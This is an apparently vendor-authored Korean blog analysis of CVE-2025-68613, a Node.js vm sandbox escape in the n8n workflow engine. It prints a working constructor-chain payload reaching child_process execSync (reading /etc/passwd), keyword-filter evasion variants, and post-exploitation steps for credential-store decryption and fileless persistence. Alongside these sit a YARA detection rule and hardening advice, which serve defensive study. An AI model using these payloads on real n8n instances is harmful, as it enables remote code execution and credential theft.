펜리젠트 헤더

CVE-2025-68613 심층 분석: Node.js 샌드박스 이스케이프가 n8n 워크플로 엔진을 무너뜨리는 방법

2025년의 마지막 날, DevSecOps 커뮤니티는 다음과 같은 공개로 인해 흔들렸습니다. CVE-2025-68613는 최대 CVSS 점수인 10.0. 목표는 n8n는 세계에서 가장 인기 있는 오픈 소스 워크플로 자동화 도구로, 수천 개의 기업에서 중추 신경계 역할을 하며 CRM, 데이터베이스, 클라우드 인프라 간의 데이터를 조율합니다.

엘리트 보안 엔지니어가 이를 "로우 코드 취약점"으로 치부하는 것은 실수입니다. CVE-2025-68613은 최신 자바스크립트 익스플로잇의 마스터 클래스입니다. 이 취약점은 Node.js 동적 런타임결함이 있는 객체 기능 모델 그리고 프로토타입 오염 기술을 무기화하여 양성 자동화 플랫폼을 루트 수준의 거점으로 전환할 수 있습니다.

이 글에서는 피상적인 보고를 포기하고 샌드박스 이스케이프 프리미티브의 실패, 즉 vm 모듈과 AI 기반 논리 분석이 블루팀의 판도를 어떻게 바꾸고 있는지 살펴보세요.

실패의 아키텍처: 왜 Node.js인가? vm 모듈 브레이크

익스플로잇을 이해하려면 먼저 환경을 이해해야 합니다. n8n은 사용자가 일반적으로 다음과 같이 래핑된 JavaScript 표현식을 사용하여 데이터를 조작할 수 있도록 합니다. {{ }} 구문을 사용해야 합니다. 이 신뢰할 수 없는 사용자 코드를 실행하기 위해 n8n(버전 1.122.0 이전)은 네이티브 Node.js에 의존했습니다. vm 모듈.

그리고 vm 모듈은 V8 가상 머신 컨텍스트 내에서 코드를 컴파일하고 실행하기 위한 API를 제공합니다. 이를 통해 실행 코드의 전역 범위 역할을 하는 컨텍스트화된 객체인 '샌드박스'를 생성할 수 있습니다.

"보안" 착각

의 전제 vm.runInNewContext(코드, 샌드박스) 내부의 코드가 외부의 객체에 접근할 수 없다는 것입니다. 샌드박스 객체입니다.

  • 이론: 샌드박스는 섬입니다.
  • 현실: 섬은 다리(프로토타입 체인)로 본토와 연결되어 있습니다.

호스트 애플리케이션이 다음을 통과하면 any 객체를 샌드박스에 노출(예를 들어 process.env 또는 유틸리티 기능을 통해 도우미 객체)를 호출하면 격리가 손상됩니다. n8n의 경우 실행 컨텍스트에 워크플로 데이터에 대한 참조가 포함되어 있어 호스트 환경의 객체 그래프에 암시적으로 다시 연결되었습니다.

주요 기술적 시사점: Node.js vm 모듈은 not 보안 메커니즘입니다. 스코핑 메커니즘입니다. Node.js 문서에서 명시적으로 경고하고 있습니다: "신뢰할 수 없는 코드를 실행하는 데 사용하지 마세요." CVE-2025-68613은 이 경고를 무시한 직접적인 결과입니다.

Node.js 샌드박스

익스플로잇의 해부학: 프로토타입 체인에서 RCE까지

CVE-2025-68613에 대한 익스플로잇 프리미티브는 자바스크립트 프로토타입 체인을 통과하여 vm 컨텍스트에 액세스하고 호스트의 기능 생성자.

"생성자" 등반 기법

자바스크립트에서 객체는 프로토타입에서 프로퍼티를 상속받습니다.

  1. : n8n 표현식 내부, 는 샌드박스 컨텍스트 객체를 참조합니다.
  2. this.constructor: 컨텍스트 객체를 생성한 함수를 가리킵니다. 대부분의 vm 구현을 사용하면 개체 생성자 내부 샌드박스.
  3. 이.생성자.생성자: 여기에 침해가 있습니다. 왜냐하면 개체 생성자는 궁극적으로 V8 엔진의 프리미티브에서 파생되며, 그 생성자를 트래버스하는 것은 종종 호스트 환경의 기능 생성자.

공격자가 호스트의 기능 생성자를 사용하면 효과적으로 eval() 샌드박스 외부에서 호스트의 컨텍스트에서 실행되는 것과 동일합니다.

킬 체인 코드

기본 필터를 우회하도록 설계된 무기화된 페이로드의 로직을 분석해 보겠습니다.

자바스크립트

1단계: 샌드박스 탈출 // 외부 함수 생성자(호스트 컨텍스트)에 액세스합니다. const ForeignFunction = this.constructor.constructor;

// 2단계: 격차 해소하기 // 외부 함수를 사용하여 '프로세스' 객체를 반환하는 클로저를 만듭니다. // 이 새 함수는 샌드박스 제한에 구속되지 않습니다. const getProcess = ForeignFunction('return process');

// 3단계: 실행 // 전역 프로세스 핸들을 검색하는 함수를 실행합니다. const proc = getProcess();

// 4단계: 기능 가져오기 // 내부 모듈 로더에 액세스하기 위해 process.mainModule을 사용합니다. const require = proc.mainModule.require;

// 5단계: 무기화 // 'child_process'를 로드하고 셸 명령을 실행합니다. const result = require('child_process').execSync('cat /etc/passwd').toString();`

n8n 워크플로우의 맥락에서 이 전체 체인은 축소되어 "Set" 노드 변수나 HTTP 요청 헤더 값과 같은 합법적인 표현식 필드에 삽입됩니다.

고급 회피: 정적 분석 우회하기

CVE-2025-68613이 비공개 버그 바운티 서클에서 처음 언급되었을 때 일부 관리자는 다음과 같은 키워드를 차단하는 WAF 규칙 또는 정규식 필터를 사용하여 이를 완화하려고 시도했습니다. 프로세스, 생성자또는 요구.

JavaScript와 같은 동적 언어의 경우 정적 필터링은 쉽게 우회할 수 있습니다.

기술 A: 문자열 산술 및 인코딩

공격자는 런타임에 문자열 연결 또는 ASCII 문자 코드를 사용하여 금지된 키워드를 재구성할 수 있습니다.

자바스크립트

`{{ // "constructor" 및 "process" 정규식 필터 우회하기 (() => { const c = "con" + "structor"; const p = "pro" + "cess";

// 점 표기법 대신 배열 액세스 표기법 사용
const foreignFunc = this[c][c];
const proc = foreignFunc("return " + p)();

return proc.mainModule.require("child_process").execSync("id").toString();

})() }}`

기술 B: 리플렉트 API 및 프록시 난독화 기술

지능형 익스플로잇은 반영 API를 사용하여 직접 이름을 지정하지 않고도 속성을 검사하고 호출할 수 있으므로 기존 보안 도구의 AST(추상 구문 트리) 분석이 훨씬 더 어려워집니다.

자바스크립트

`{{ // 이름을 지정하지 않고 생성자를 동적으로 찾기 위해 Reflect를 사용하기 위해 const keys = Reflect.ownKeys(this.proto); const consKey = keys.find(k => k.toString().charCodeAt(0) == 99); // 'c'

const ForeignFunction = Reflect.get(this, consKey)[consKey];
// RCE로 진행...

}}`

이는 패턴 매칭이 통역 언어의 논리 취약성에 대해 근본적으로 결함이 있는 이유를 보여줍니다.

익스플로잇 이후: 궁극의 C2 피벗으로서의 n8n

n8n 인스턴스에서 RCE를 확보하는 것이 표준 웹 서버를 손상시키는 것보다 더 가치 있는 경우가 많습니다. n8n은 조직의 가장 민감한 데이터 파이프가 교차하는 지점에 위치합니다.

1. 자격증명 보관소

n8n은 연결된 서비스(AWS, Stripe, Salesforce, PostgreSQL)에 대한 자격 증명을 내부 데이터베이스에 저장합니다(기본값은 다음 위치에 있는 SQLite로 설정됨). ~/.n8n/database.sqlite). 이러한 정보는 암호화되어 있지만, 공격자는 RCE를 통해 이를 확인할 수 있습니다:

  1. 환경 변수에서 암호화 키를 읽습니다(n8n_encryption_key) 또는 구성 파일을 만듭니다.
  2. 전체 자격증명 저장소의 암호를 해독합니다.
  3. 유효한 높은 권한의 키를 사용하여 클라우드 인프라로 측면으로 피벗하세요.

2. 파일리스 지속성

기존 멀웨어는 디스크에 바이너리를 드롭하며, EDR(엔드포인트 탐지 및 대응) 솔루션이 이를 검사할 수 있습니다.

n8n에서 공격자는 '섀도 워크플로'를 생성할 수 있습니다:

  • 트리거: 10분마다 실행되도록 설정된 "Cron" 노드입니다.
  • 액션: 악성 자바스크립트(예: 리버스 셸 또는 데이터 유출 스크립트)를 실행하는 '함수' 노드입니다.
  • 저장소: 멀웨어가 존재합니다. 를 n8n 데이터베이스에 JSON 객체로 저장합니다. 이는 파일리스지속적이며 합법적인 비즈니스 로직과 조화를 이룹니다.

AI 기반 로직 탐지: 펜리젠트의 이점

CVE-2025-68613을 탐지하는 것은 기존 DAST(동적 애플리케이션 보안 테스트) 스캐너에게는 악몽과도 같습니다.

  • 문제: 스캐너는 "블라인드 퍼징"에 의존합니다. 다음과 같은 페이로드를 전송합니다. ' 또는 1=1 --. 또는 <script>alert(1)</script>. 표현식 엔진에서 이러한 페이로드는 단순히 구문 오류를 일으킬 뿐입니다. 워크플로가 실패하고 스캐너가 "정리됨"을 보고합니다.
  • 논리 격차: 이를 감지하려면 도구가 다음을 이해해야 합니다. 자바스크립트 구문 그리고 워크플로 컨텍스트.

여기에서 Penligent.ai 는 패러다임의 전환을 의미합니다. 펜리전트는 다음을 활용합니다. 컨텍스트 인식 AI 에이전트 를 사용하여 의미 분석을 수행합니다:

  1. 구문 퍼징: 펜리전트의 에이전트는 다음과 같이 인식합니다. {{ }} 구문을 코드 삽입 지점으로 사용합니다. 에이전트는 임의의 문자열 대신 유효한 JavaScript 객체를 생성합니다.
  2. 오브젝트 기능 프로빙: 에이전트는 샌드박스 경계를 테스트하기 위해 안전한 프로브를 주입합니다(예, {{ this.constructor.name }}). 출력을 분석합니다. '객체' 또는 '함수'가 표시되면 프로토타입 체인이 손상되지 않은 것으로 추론합니다.
  3. 난독화 돌연변이: 프로브가 차단된 경우(예: "액세스 거부됨") Penligent의 AI는 위에서 언급한 회피 기법(문자열 산술, 리플렉트 API)을 사용하여 페이로드를 자동으로 리팩터링하여 차단이 단순히 표면적인 것인지 확인합니다.

펜리전트는 인간 연구자의 반복적인 방법론을 시뮬레이션하여 다음과 같은 사항을 검증합니다. 익스플로잇 가능성 로직에 대한 개념 증명(PoC)을 제공하여 오탐이 아닌 개념 증명을 제공합니다.

블루팀 핸드북: 탐지 및 방어

블루팀의 경우 CVE-2025-68613을 완화하려면 애플리케이션 계층이 침해될 수 있다고 가정하는 심층 방어 전략이 필요합니다.

1. 네트워크 서명(야라/스노트)

페이로드 암호화는 네트워크 탐지를 어렵게 만들지만, 많은 공격자가 기본 페이로드를 사용합니다. 다음 주소로 HTTP POST 요청을 모니터링하세요. /휴식/워크플로 의심스러운 자바스크립트 패턴이 포함되어 있습니다.

YARA 규칙 예시:

규칙 DETECT_N8N_EXPRESSION_INJECTION { meta: description = "n8n에서 JS 샌드박스 탈출 시도를 탐지합니다(CVE-2025-68613)" 심각도 = "심각" 문자열: $token_start = "{{" $js_constructor = "constructor" $js_process = "process.mainModule" $js_child = "child_process" $js_char_code = "String.fromCharCode" $js_reflect = "Reflect.get" 조건입니다: $token_start 및 ($js_*의 2)) }

2. 아키텍처 강화

  • 컨테이너화: n8n을 루트로 실행하지 마세요. 읽기 전용 파일 시스템과 함께 루트가 없는 Docker 컨테이너를 사용하세요.
  • 캡 드롭: 다음을 사용하여 컨테이너를 실행합니다. -cap-drop=ALL 를 사용하여 RCE 이후에도 권한 상승을 방지할 수 있습니다.
  • 송신 필터링: 워크플로우에 필요한 화이트리스트 API를 제외한 n8n 컨테이너의 모든 아웃바운드 트래픽을 차단하도록 쿠버네티스 네트워크 정책 또는 AWS 보안 그룹을 구성하세요. 이렇게 하면 리버스 셸 연결이 종료됩니다.

3. 환경 잠금

환경 변수 설정 N8N_BLOCK_ENV_ACCESS_IN_NODE=true. 이후 버전에 도입된 이 기능은 다음에 대한 액세스를 차단하려고 시도합니다. process.env 노드 내에서 코드 실행이 이루어지더라도 자격 증명 도용을 완화할 수 있습니다.

결론 암묵적 신뢰의 종말

CVE-2025-68613은 로우 코드 플랫폼 보안의 분수령이 될 것입니다. 다음과 같은 사실을 상기시켜 줍니다. 유연성은 보안의 적. 사용자에게 데이터를 조작할 수 있는 JavaScript와 같은 튜링 완전 언어의 기능을 부여하는 것은 애플리케이션의 커널로 사용자를 초대하는 것입니다.

보안 자동화의 미래는 '더 나은 정규식 필터'나 '패치'에 있지 않습니다. vm 모듈"과 같은 아키텍처 격리 기술에서는 웹어셈블리(Wasm) 또는 V8 아이솔레이트를 통해 진정한 메모리 안전 샌드박싱을 제공합니다. 그때까지는 엄격한 패치 적용, AI 기반 테스트, 공격적인 네트워크 세분화가 유일한 방어책입니다.

신뢰할 수 있는 참고 자료 및 추가 자료

게시물을 공유하세요:
관련 게시물